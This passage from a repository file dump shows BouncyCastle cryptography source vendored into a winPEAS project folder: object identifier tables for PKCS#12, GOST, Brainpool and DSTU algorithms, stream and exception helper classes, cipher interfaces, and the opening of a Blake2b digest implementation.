::= {iso(1) member-body(2) usa(840)\n        // rsadsi(113549) pkcs(1) pkcs-9(9) smime(16) id-spq(5)}\n        //\n        public const string IdSpq = \"1.2.840.113549.1.9.16.5\";\n\n        public static readonly DerObjectIdentifier IdSpqEtsUri = new DerObjectIdentifier(IdSpq + \".1\");\n        public static readonly DerObjectIdentifier IdSpqEtsUNotice = new DerObjectIdentifier(IdSpq + \".2\");\n\n        //\n        // pkcs-12 OBJECT IDENTIFIER ::= {\n        //       iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 12 }\n        //\n        public const string Pkcs12 = \"1.2.840.113549.1.12\";\n        public const string BagTypes = Pkcs12 + \".10.1\";\n\n        public static readonly DerObjectIdentifier KeyBag = new DerObjectIdentifier(BagTypes + \".1\");\n        public static readonly DerObjectIdentifier Pkcs8ShroudedKeyBag = new DerObjectIdentifier(BagTypes + \".2\");\n        public static readonly DerObjectIdentifier CertBag = new DerObjectIdentifier(BagTypes + \".3\");\n        public static readonly DerObjectIdentifier CrlBag = new DerObjectIdentifier(BagTypes + \".4\");\n        public static readonly DerObjectIdentifier SecretBag = new DerObjectIdentifier(BagTypes + \".5\");\n        public static readonly DerObjectIdentifier SafeContentsBag = new DerObjectIdentifier(BagTypes + \".6\");\n\n        public const string Pkcs12PbeIds = Pkcs12 + \".1\";\n\n        public static readonly DerObjectIdentifier PbeWithShaAnd128BitRC4 = new DerObjectIdentifier(Pkcs12PbeIds + \".1\");\n        public static readonly DerObjectIdentifier PbeWithShaAnd40BitRC4 = new DerObjectIdentifier(Pkcs12PbeIds + \".2\");\n        public static readonly DerObjectIdentifier PbeWithShaAnd3KeyTripleDesCbc = new DerObjectIdentifier(Pkcs12PbeIds + \".3\");\n        public static readonly DerObjectIdentifier PbeWithShaAnd2KeyTripleDesCbc = new DerObjectIdentifier(Pkcs12PbeIds + \".4\");\n        public static readonly DerObjectIdentifier PbeWithShaAnd128BitRC2Cbc = new DerObjectIdentifier(Pkcs12PbeIds + \".5\");\n        public static readonly DerObjectIdentifier PbewithShaAnd40BitRC2Cbc = new DerObjectIdentifier(Pkcs12PbeIds + \".6\");\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/rosstandart/RosstandartObjectIdentifiers.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1.rosstandart\n{\n    public abstract class RosstandartObjectIdentifiers\n    {\n        public static readonly DerObjectIdentifier rosstandart = new DerObjectIdentifier(\"1.2.643.7\");\n\n        public static readonly DerObjectIdentifier id_tc26 = rosstandart.Branch(\"1\");\n\n        public static readonly DerObjectIdentifier id_tc26_gost_3411_12_256 = id_tc26.Branch(\"1.2.2\");\n\n        public static readonly DerObjectIdentifier id_tc26_gost_3411_12_512 = id_tc26.Branch(\"1.2.3\");\n\n        public static readonly DerObjectIdentifier id_tc26_hmac_gost_3411_12_256 = id_tc26.Branch(\"1.4.1\");\n\n        public static readonly DerObjectIdentifier id_tc26_hmac_gost_3411_12_512 = id_tc26.Branch(\"1.4.2\");\n\n        public static readonly DerObjectIdentifier id_tc26_gost_3410_12_256 = id_tc26.Branch(\"1.1.1\");\n\n        public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512 = id_tc26.Branch(\"1.1.2\");\n\n        public static readonly DerObjectIdentifier id_tc26_signwithdigest_gost_3410_12_256 = id_tc26.Branch(\"1.3.2\");\n\n        public static readonly DerObjectIdentifier id_tc26_signwithdigest_gost_3410_12_512 = id_tc26.Branch(\"1.3.3\");\n\n        public static readonly DerObjectIdentifier id_tc26_agreement = id_tc26.Branch(\"1.6\");\n\n        public static readonly DerObjectIdentifier id_tc26_agreement_gost_3410_12_256 = id_tc26_agreement.Branch(\"1\");\n\n        public static readonly DerObjectIdentifier id_tc26_agreement_gost_3410_12_512 = id_tc26_agreement.Branch(\"2\");\n\n        public static readonly DerObjectIdentifier id_tc26_gost_3410_12_256_paramSet = id_tc26.Branch(\"2.1.1\");\n\n        public static readonly DerObjectIdentifier id_tc26_gost_3410_12_256_paramSetA = id_tc26_gost_3410_12_256_paramSet.Branch(\"1\");\n\n        public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512_paramSet = id_tc26.Branch(\"2.1.2\");\n\n        public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512_paramSetA = id_tc26_gost_3410_12_512_paramSet.Branch(\"1\");\n\n        public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512_paramSetB = id_tc26_gost_3410_12_512_paramSet.Branch(\"2\");\n\n        public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512_paramSetC = id_tc26_gost_3410_12_512_paramSet.Branch(\"3\");\n\n        public static readonly DerObjectIdentifier id_tc26_gost_28147_param_Z = id_tc26.Branch(\"2.5.1.1\");\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/teletrust/TeleTrusTObjectIdentifiers.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1.teletrust\n{\n\tpublic sealed class TeleTrusTObjectIdentifiers\n\t{\n\t\tprivate TeleTrusTObjectIdentifiers()\n\t\t{\n\t\t}\n\n\t\tpublic static readonly DerObjectIdentifier TeleTrusTAlgorithm = new DerObjectIdentifier(\"1.3.36.3\");\n\n\t\tpublic static readonly DerObjectIdentifier RipeMD160 = new DerObjectIdentifier(TeleTrusTAlgorithm + \".2.1\");\n\t\tpublic static readonly DerObjectIdentifier RipeMD128 = new DerObjectIdentifier(TeleTrusTAlgorithm + \".2.2\");\n\t\tpublic static readonly DerObjectIdentifier RipeMD256 = new DerObjectIdentifier(TeleTrusTAlgorithm + \".2.3\");\n\n\t\tpublic static readonly DerObjectIdentifier TeleTrusTRsaSignatureAlgorithm = new DerObjectIdentifier(TeleTrusTAlgorithm + \".3.1\");\n\n\t\tpublic static readonly DerObjectIdentifier RsaSignatureWithRipeMD160 = new DerObjectIdentifier(TeleTrusTRsaSignatureAlgorithm + \".2\");\n\t\tpublic static readonly DerObjectIdentifier RsaSignatureWithRipeMD128 = new DerObjectIdentifier(TeleTrusTRsaSignatureAlgorithm + \".3\");\n\t\tpublic static readonly DerObjectIdentifier RsaSignatureWithRipeMD256 = new DerObjectIdentifier(TeleTrusTRsaSignatureAlgorithm + \".4\");\n\n\t\tpublic static readonly DerObjectIdentifier ECSign = new DerObjectIdentifier(TeleTrusTAlgorithm + \".3.2\");\n\n\t\tpublic static readonly DerObjectIdentifier ECSignWithSha1 = new DerObjectIdentifier(ECSign + \".1\");\n\t\tpublic static readonly DerObjectIdentifier ECSignWithRipeMD160 = new DerObjectIdentifier(ECSign + \".2\");\n\n\t\tpublic static readonly DerObjectIdentifier EccBrainpool = new DerObjectIdentifier(TeleTrusTAlgorithm + \".3.2.8\");\n\t\tpublic static readonly DerObjectIdentifier EllipticCurve = new DerObjectIdentifier(EccBrainpool + \".1\");\n\t\tpublic static readonly DerObjectIdentifier VersionOne = new DerObjectIdentifier(EllipticCurve + \".1\");\n\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP160R1 = new DerObjectIdentifier(VersionOne + \".1\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP160T1 = new DerObjectIdentifier(VersionOne + \".2\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP192R1 = new DerObjectIdentifier(VersionOne + \".3\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP192T1 = new DerObjectIdentifier(VersionOne + \".4\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP224R1 = new DerObjectIdentifier(VersionOne + \".5\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP224T1 = new DerObjectIdentifier(VersionOne + \".6\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP256R1 = new DerObjectIdentifier(VersionOne + \".7\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP256T1 = new DerObjectIdentifier(VersionOne + \".8\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP320R1 = new DerObjectIdentifier(VersionOne + \".9\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP320T1 = new DerObjectIdentifier(VersionOne + \".10\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP384R1 = new DerObjectIdentifier(VersionOne + \".11\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP384T1 = new DerObjectIdentifier(VersionOne + \".12\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP512R1 = new DerObjectIdentifier(VersionOne + \".13\");\n\t\tpublic static readonly DerObjectIdentifier BrainpoolP512T1 = new DerObjectIdentifier(VersionOne + \".14\");\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/ua/UAObjectIdentifiers.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1.ua\n{\n    /**\n    * Ukrainian object identifiers\n    * <p>\n    * {iso(1) member-body(2) Ukraine(804) root(2) security(1) cryptography(1) pki(1)}\n    * <p>\n    * { ...  pki-alg(1) pki-alg-sym(3) Dstu4145WithGost34311(1) PB(1)}\n    * <p>\n    * DSTU4145 in polynomial basis has 2 oids, one for little-endian representation and one for big-endian\n    */\n    public abstract class UAObjectIdentifiers\n    {\n        /** Base OID: 1.2.804.2.1.1.1 */\n        public static readonly DerObjectIdentifier UaOid = new DerObjectIdentifier(\"1.2.804.2.1.1.1\");\n\n        /** DSTU4145 Little Endian presentation.  OID: 1.2.804.2.1.1.1.1.3.1.1 */\n        public static readonly DerObjectIdentifier dstu4145le = UaOid.Branch(\"1.3.1.1\");\n        /** DSTU4145 Big Endian presentation.  OID: 1.2.804.2.1.1.1.1.3.1.1.1 */\n        public static readonly DerObjectIdentifier dstu4145be = UaOid.Branch(\"1.3.1.1.1.1\");\n\n        /** DSTU7564 256-bit digest presentation. */\n        public static readonly DerObjectIdentifier dstu7564digest_256 = UaOid.Branch(\"1.2.2.1\");\n        /** DSTU7564 384-bit digest presentation. */\n        public static readonly DerObjectIdentifier dstu7564digest_384 = UaOid.Branch(\"1.2.2.2\");\n        /** DSTU7564 512-bit digest presentation. */\n        public static readonly DerObjectIdentifier dstu7564digest_512 = UaOid.Branch(\"1.2.2.3\");\n\n        /** DSTU7564 256-bit mac presentation. */\n        public static readonly DerObjectIdentifier dstu7564mac_256 = UaOid.Branch(\"1.2.2.4\");\n        /** DSTU7564 384-bit mac presentation. */\n        public static readonly DerObjectIdentifier dstu7564mac_384 = UaOid.Branch(\"1.2.2.5\");\n        /** DSTU7564 512-bit mac presentation. */\n        public static readonly DerObjectIdentifier dstu7564mac_512 = UaOid.Branch(\"1.2.2.6\");\n\n\n        /** DSTU7624 in ECB mode with 128 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624ecb_128 = UaOid.Branch(\"1.1.3.1.1\");\n        /** DSTU7624 in ECB mode with 256 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624ecb_256 = UaOid.Branch(\"1.1.3.1.2\");\n        /** DSTU7624 in ECB mode with 512 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624ecb_512 = UaOid.Branch(\"1.1.3.1.3\");\n\n        /** DSTU7624 in CTR mode with 128 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624ctr_128 = UaOid.Branch(\"1.1.3.2.1\");\n        /** DSTU7624 in CTR mode with 256 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624ctr_256 = UaOid.Branch(\"1.1.3.2.2\");\n        /** DSTU7624 in CTR mode with 512 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624ctr_512 = UaOid.Branch(\"1.1.3.2.3\");\n\n        /** DSTU7624 in CFB mode with 128 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624cfb_128 = UaOid.Branch(\"1.1.3.3.1\");\n        /** DSTU7624 in CFB mode with 256 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624cfb_256 = UaOid.Branch(\"1.1.3.3.2\");\n        /** DSTU7624 in CFB mode with 512 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624cfb_512 = UaOid.Branch(\"1.1.3.3.3\");\n\n        /** DSTU7624 in MAC mode with 128 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624cmac_128 = UaOid.Branch(\"1.1.3.4.1\");\n        /** DSTU7624 in MAC mode with 256 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624cmac_256 = UaOid.Branch(\"1.1.3.4.2\");\n        /** DSTU7624 in MAC mode with 512 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624cmac_512 = UaOid.Branch(\"1.1.3.4.3\");\n\n        /** DSTU7624 in CBC mode with 128 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624cbc_128 = UaOid.Branch(\"1.1.3.5.1\");\n        /** DSTU7624 in CBC mode with 256 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624cbc_256 = UaOid.Branch(\"1.1.3.5.2\");\n        /** DSTU7624 in CBC mode with 512 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624cbc_512 = UaOid.Branch(\"1.1.3.5.3\");\n\n        /** DSTU7624 in OFB mode with 128 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624ofb_128 = UaOid.Branch(\"1.1.3.6.1\");\n        /** DSTU7624 in OFB mode with 256 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624ofb_256 = UaOid.Branch(\"1.1.3.6.2\");\n        /** DSTU7624 in OFB mode with 512 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624ofb_512 = UaOid.Branch(\"1.1.3.6.3\");\n\n        /** DSTU7624 in GMAC (GCM witout encryption) mode with 128 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624gmac_128 = UaOid.Branch(\"1.1.3.7.1\");\n        /** DSTU7624 in GMAC (GCM witout encryption) mode with 256 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624gmac_256 = UaOid.Branch(\"1.1.3.7.2\");\n        /** DSTU7624 in GMAC (GCM witout encryption) mode with 512 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624gmac_512 = UaOid.Branch(\"1.1.3.7.3\");\n\n        /** DSTU7624 in CCM mode with 128 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624ccm_128 = UaOid.Branch(\"1.1.3.8.1\");\n        /** DSTU7624 in CCM mode with 256 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624ccm_256 = UaOid.Branch(\"1.1.3.8.2\");\n        /** DSTU7624 in CCM mode with 512 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624ccm_512 = UaOid.Branch(\"1.1.3.8.3\");\n\n        /** DSTU7624 in XTS mode with 128 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624xts_128 = UaOid.Branch(\"1.1.3.9.1\");\n        /** DSTU7624 in XTS mode with 256 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624xts_256 = UaOid.Branch(\"1.1.3.9.2\");\n        /** DSTU7624 in XTS mode with 512 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624xts_512 = UaOid.Branch(\"1.1.3.9.3\");\n\n        /** DSTU7624 in key wrap (KW) mode with 128 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624kw_128 = UaOid.Branch(\"1.1.3.10.1\");\n        /** DSTU7624 in key wrap (KW) mode with 256 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624kw_256 = UaOid.Branch(\"1.1.3.10.2\");\n        /** DSTU7624 in key wrap (KW) mode with 512 bit block/key presentation */\n        public static readonly DerObjectIdentifier dstu7624kw_512 = UaOid.Branch(\"1.1.3.10.3\");\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/util/FilterStream.cs",
    "content": "﻿using System;\nusing System.IO;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1.util\n{\n    [Obsolete(\"Use Org.BouncyCastle.Utilities.IO.FilterStream\")]\n    public class FilterStream : Stream\n    {\n        [Obsolete(\"Use Org.BouncyCastle.Utilities.IO.FilterStream\")]\n        public FilterStream(Stream s)\n        {\n            this.s = s;\n        }\n        public override bool CanRead\n        {\n            get { return s.CanRead; }\n        }\n        public override bool CanSeek\n        {\n            get { return s.CanSeek; }\n        }\n        public override bool CanWrite\n        {\n            get { return s.CanWrite; }\n        }\n        public override long Length\n        {\n            get { return s.Length; }\n        }\n        public override long Position\n        {\n            get { return s.Position; }\n            set { s.Position = value; }\n        }\n#if PORTABLE\n        protected override void Dispose(bool disposing)\n        {\n            if (disposing)\n            {\n                Platform.Dispose(s);\n            }\n            base.Dispose(disposing);\n        }\n#else\n        public override void Close()\n        {\n            Platform.Dispose(s);\n            base.Close();\n        }\n#endif\n        public override void Flush()\n        {\n            s.Flush();\n        }\n        public override long Seek(long offset, SeekOrigin origin)\n        {\n            return s.Seek(offset, origin);\n        }\n        public override void SetLength(long value)\n        {\n            s.SetLength(value);\n        }\n        public override int Read(byte[] buffer, int offset, int count)\n        {\n            return s.Read(buffer, offset, count);\n        }\n        public override int ReadByte()\n        {\n            return s.ReadByte();\n        }\n        public override void Write(byte[] buffer, int offset, int count)\n        {\n            s.Write(buffer, offset, count);\n        }\n        public override void WriteByte(byte value)\n        {\n            s.WriteByte(value);\n        }\n        protected readonly Stream s;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/Check.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.crypto\n{\n    internal class Check\n    {\n        internal static void DataLength(bool condition, string msg)\n        {\n            if (condition)\n                throw new DataLengthException(msg);\n        }\n\n        internal static void DataLength(byte[] buf, int off, int len, string msg)\n        {\n            if (off > (buf.Length - len))\n                throw new DataLengthException(msg);\n        }\n\n        internal static void OutputLength(byte[] buf, int off, int len, string msg)\n        {\n            if (off > (buf.Length - len))\n                throw new OutputLengthException(msg);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/IBlockCipher.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.crypto\n{\n\t/// <remarks>Base interface for a symmetric key block cipher.</remarks>\n\tpublic interface IBlockCipher\n\t{\n\t\t/// <summary>The name of the algorithm this cipher implements.</summary>\n\t\tstring AlgorithmName { get; }\n\n\t\t/// <summary>Initialise the cipher.</summary>\n\t\t/// <param name=\"forEncryption\">Initialise for encryption if true, for decryption if false.</param>\n\t\t/// <param name=\"parameters\">The key or other data required by the cipher.</param>\n\t\tvoid Init(bool forEncryption, ICipherParameters parameters);\n\n\t\t/// <returns>The block size for this cipher, in bytes.</returns>\n\t\tint GetBlockSize();\n\n\t\t/// <summary>Indicates whether this cipher can handle partial blocks.</summary>\n\t\tbool IsPartialBlockOkay { get; }\n\n\t\t/// <summary>Process a block.</summary>\n\t\t/// <param name=\"inBuf\">The input buffer.</param>\n\t\t/// <param name=\"inOff\">The offset into <paramref>inBuf</paramref> that the input block begins.</param>\n\t\t/// <param name=\"outBuf\">The output buffer.</param>\n\t\t/// <param name=\"outOff\">The offset into <paramref>outBuf</paramref> to write the output block.</param>\n\t\t/// <exception cref=\"DataLengthException\">If input block is wrong size, or outBuf too small.</exception>\n\t\t/// <returns>The number of bytes processed and produced.</returns>\n\t\tint ProcessBlock(byte[] inBuf, int inOff, byte[] outBuf, int outOff);\n\n\t\t/// <summary>\n\t\t/// Reset the cipher to the same state as it was after the last init (if there was one).\n\t\t/// </summary>\n\t\tvoid Reset();\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/IXof.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.crypto\n{\n    /// <remarks>\n    /// With FIPS PUB 202 a new kind of message digest was announced which supported extendable output, or variable digest sizes.\n    /// This interface provides the extra method required to support variable output on a digest implementation.\n    /// </remarks>\n    public interface IXof\n        : IDigest\n    {\n        /// <summary>\n        /// Output the results of the final calculation for this digest to outLen number of bytes.\n        /// </summary>\n        /// <param name=\"output\">output array to write the output bytes to.</param>\n        /// <param name=\"outOff\">offset to start writing the bytes at.</param>\n        /// <param name=\"outLen\">the number of output bytes requested.</param>\n        /// <returns>the number of bytes written</returns>\n        int DoFinal(byte[] output, int outOff, int outLen);\n\n        /// <summary>\n        /// Start outputting the results of the final calculation for this digest. Unlike DoFinal, this method\n        /// will continue producing output until the Xof is explicitly reset, or signals otherwise.\n        /// </summary>\n        /// <param name=\"output\">output array to write the output bytes to.</param>\n        /// <param name=\"outOff\">offset to start writing the bytes at.</param>\n        /// <param name=\"outLen\">the number of output bytes requested.</param>\n        /// <returns>the number of bytes written</returns>\n        int DoOutput(byte[] output, int outOff, int outLen);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/InvalidCipherTextException.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto\n{\n    /**\n      * this exception is thrown whenever we find something we don't expect in a\n      * message.\n      */\n#if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE)\n    [Serializable]\n#endif\n    public class InvalidCipherTextException\n        : CryptoException\n    {\n        /**\n\t\t* base constructor.\n\t\t*/\n        public InvalidCipherTextException()\n        {\n        }\n\n        /**\n         * create a InvalidCipherTextException with the given message.\n         *\n         * @param message the message to be carried with the exception.\n         */\n        public InvalidCipherTextException(\n            string message)\n            : base(message)\n        {\n        }\n\n        public InvalidCipherTextException(\n            string message,\n            Exception exception)\n            : base(message, exception)\n        {\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/OutputLengthException.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto\n{\n#if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE)\n    [Serializable]\n#endif\n    public class OutputLengthException\n        : DataLengthException\n    {\n        public OutputLengthException()\n        {\n        }\n\n        public OutputLengthException(\n            string message)\n            : base(message)\n        {\n        }\n\n        public OutputLengthException(\n            string message,\n            Exception exception)\n            : base(message, exception)\n        {\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Blake2bDigest.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /*  The BLAKE2 cryptographic hash function was designed by Jean-\n     Philippe Aumasson, Samuel Neves, Zooko Wilcox-O'Hearn, and Christian\n     Winnerlein.\n   \n     Reference Implementation and Description can be found at: https://blake2.net/      \n     Internet Draft: https://tools.ietf.org/html/draft-saarinen-blake2-02\n\n     This implementation does not support the Tree Hashing Mode. \n \n       For unkeyed hashing, developers adapting BLAKE2 to ASN.1 - based\n       message formats SHOULD use the OID tree at x = 1.3.6.1.4.1.1722.12.2.\n\n             Algorithm     | Target | Collision | Hash | Hash ASN.1 |\n                Identifier |  Arch  |  Security |  nn  | OID Suffix |\n            ---------------+--------+-----------+------+------------+\n             id-blake2b160 | 64-bit |   2**80   |  20  |   x.1.20   |\n             id-blake2b256 | 64-bit |   2**128  |  32  |   x.1.32   |\n             id-blake2b384 | 64-bit |   2**192  |  48  |   x.1.48   |\n             id-blake2b512 | 64-bit |   2**256  |  64  |   x.1.64   |\n            ---------------+--------+-----------+------+------------+\n     */\n\n    /**\n     * Implementation of the cryptographic hash function Blakbe2b.\n     * <p>\n     * Blake2b offers a built-in keying mechanism to be used directly\n     * for authentication (\"Prefix-MAC\") rather than a HMAC construction.\n     * <p>\n     * Blake2b offers a built-in support for a salt for randomized hashing\n     * and a personal string for defining a unique hash function for each application.\n     * <p>\n     * BLAKE2b is optimized for 64-bit platforms and produces digests of any size\n     * between 1 and 64 bytes.\n     */\n    public class Blake2bDigest\n        : IDigest\n    {\n        // Blake2b Initialization Vector:\n        private static readonly ulong[] blake2b_IV =\n            // Produced from the square root of primes 2, 3, 5, 7, 11, 13, 17, 19.\n            // The same as SHA-512 IV.\n            {\n                0x6a09e667f3bcc908UL, 0xbb67ae8584caa73bUL, 0x3c6ef372fe94f82bUL,\n                0xa54ff53a5f1d36f1UL, 0x510e527fade682d1UL, 0x9b05688c2b3e6c1fUL,\n                0x1f83d9abfb41bd6bUL, 0x5be0cd19137e2179UL\n            };\n\n        // Message word permutations:\n        private static readonly byte[,] blake2b_sigma =\n        {\n            { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 },\n            { 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3 },\n            { 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4 },\n            { 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8 },\n            { 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13 },\n            { 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9 },\n            { 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11 },\n            { 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10 },\n            { 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5 },\n            { 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13, 0 },\n            { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 },\n            { 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3 }\n        };\n\n        private const int ROUNDS = 12; // to use for Catenas H'\n        private const int BLOCK_LENGTH_BYTES = 128;// bytes\n\n        // General parameters:\n        private int digestLength = 64; // 1- 64 bytes\n        private int keyLength = 0; // 0 - 64 bytes for keyed hashing for MAC\n        private byte[] salt = null;// new byte[16];\n        private byte[] personalization = null;// new byte[16];\n\n        // the key\n        private byte[] key = null;\n\n        // Tree hashing parameters:\n        // Because this class does not implement the Tree Hashing Mode,\n        // these parameters can be treated as constants (see init() function)\n\t    /*\n\t     * private int fanout = 1; // 0-255 private int depth = 1; // 1 - 255\n\t     * private int leafLength= 0; private long nodeOffset = 0L; private int\n\t     * nodeDepth = 0; private int innerHashLength = 0;\n\t     */\n\n        // whenever this buffer overflows, it will be processed\n        // in the Compress() function.\n        // For performance issues, long messages will not use this buffer.\n        private byte[] buffer = null;// new byte[BLOCK_LENGTH_BYTES];\n        // Position of last inserted byte:\n        private int bufferPos = 0;// a value from 0 up to 128\n\n        private ulong[] internalState = new ulong[16]; // In the Blake2b paper it is\n        // called: v\n        private ulong[] chainValue = null; // state vector, in the Blake2b paper it\n        // is called: h\n\n        private ulong t0 = 0UL; // holds last significant bits, counter (counts bytes)\n        private ulong t1 = 0UL; // counter: Length up to 2^128 are supported\n        private ulong f0 = 0UL; // finalization flag, for last block: ~0L\n\n        // For Tree Hashing Mode, not used here:\n        // private long f1 = 0L; // finalization flag, for last node: ~0L\n\n        public Blake2bDigest()\n            : this(512)\n        {\n        }\n\n        public Blake2bDigest(Blake2bDigest digest)\n        {\n            this.bufferPos = digest.bufferPos;\n            this.buffer = Arrays.Clone(digest.buffer);\n            this.keyLength = digest.keyLength;\n            this.key = Arrays.Clone(digest.key);\n            this.digestLength = digest.digestLength;\n            this.chainValue = Arrays.Clone(digest.chainValue);\n            this.personalization = Arrays.Clone(digest.personalization);\n            this.salt = Arrays.Clone(digest.salt);\n            this.t0 = digest.t0;\n            this.t1 = digest.t1;\n            this.f0 = digest.f0;\n        }\n\n        /**\n         * Basic sized constructor - size in bits.\n         *\n         * @param digestSize size of the digest in bits\n         */\n        public Blake2bDigest(int digestSize)\n        {\n            if (digestSize < 8 || digestSize > 512 || digestSize % 8 != 0)\n                throw new ArgumentException(\"BLAKE2b digest bit length must be a multiple of 8 and not greater than 512\");\n\n            buffer = new byte[BLOCK_LENGTH_BYTES];\n            keyLength = 0;\n            this.digestLength = digestSize / 8;\n            Init();\n        }\n\n        /**\n         * Blake2b for authentication (\"Prefix-MAC mode\").\n         * After calling the doFinal() method, the key will\n         * remain to be used for further computations of\n         * this instance.\n         * The key can be overwritten using the clearKey() method.\n         *\n         * @param key A key up to 64 bytes or null\n         */\n        public Blake2bDigest(byte[] key)\n        {\n            buffer = new byte[BLOCK_LENGTH_BYTES];\n            if (key != null)\n            {\n                this.key = new byte[key.Length];\n                Array.Copy(key, 0, this.key, 0, key.Length);\n\n                if (key.Length > 64)\n                    throw new ArgumentException(\"Keys > 64 are not supported\");\n\n                keyLength = key.Length;\n                Array.Copy(key, 0, buffer, 0, key.Length);\n                bufferPos = BLOCK_LENGTH_BYTES; // zero padding\n            }\n            digestLength = 64;\n            Init();\n        }\n\n        /**\n         * Blake2b with key, required digest length (in bytes), salt and personalization.\n         * After calling the doFinal() method, the key, the salt and the personal string\n         * will remain and might be used for further computations with this instance.\n         * The key can be overwritten using the clearKey() method, the salt (pepper)\n         * can be overwritten using the clearSalt() method.\n         *\n         * @param key             A key up to 64 bytes or null\n         * @param digestLength    from 1 up to 64 bytes\n         * @param salt            16 bytes or null\n         * @param personalization 16 bytes or null\n         */\n        public Blake2bDigest(byte[] key, int digestLength, byte[] salt, byte[] personalization)\n        {\n            if (digestLength < 1 || 